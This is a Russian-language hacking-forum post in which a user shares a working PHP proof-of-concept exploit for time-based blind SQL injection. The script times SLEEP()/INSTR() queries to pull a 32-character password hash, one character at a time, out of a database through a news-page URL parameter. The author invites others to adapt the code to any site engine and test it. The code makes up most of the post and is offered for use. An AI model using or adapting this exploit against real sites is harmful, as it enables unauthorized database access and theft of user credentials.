Показать сообщение отдельно

  #28  
Старый 29.01.2010, 23:54
Root-access
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме:
2223440

Репутация: 648
По умолчанию

Шаблонный PoC-сплойт к посту #22.
Жду предложений по улучшению и результаты тестов.
На реальном движке не тестил, можно подогнать под любой.
Смотреть на Pastebin
PHP код:
<?php
//SLEEP()+INSTR() SQL-Injection
//Корявоватый сплойт от Root-access
$url "http://site.ru/news.php?id=1";
$id 0;
function 
testtime($url) {
    
$time time()+microtime();
    
file_get_contents($url);
    return 
time()+microtime()-$time;
}
echo 
"Test time: ".$testtime=testtime($url)."<br>";
$sym = array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
$res "";
for(
$i=1;$i<33;$i++) {
    
$time time()+microtime();
    
file_get_contents("$url+and+sleep(instr(0x30313233343536373839616263646566,substring((select+password+from+test+limit+".$id.",1),".$i.",1)))");
    
$res $res.$sym[round(time()+microtime()-$time-$testtime)-1];
}
echo 
"Hash: ".$res;
?>

Последний раз редактировалось Root-access; 30.01.2010 в 00:48..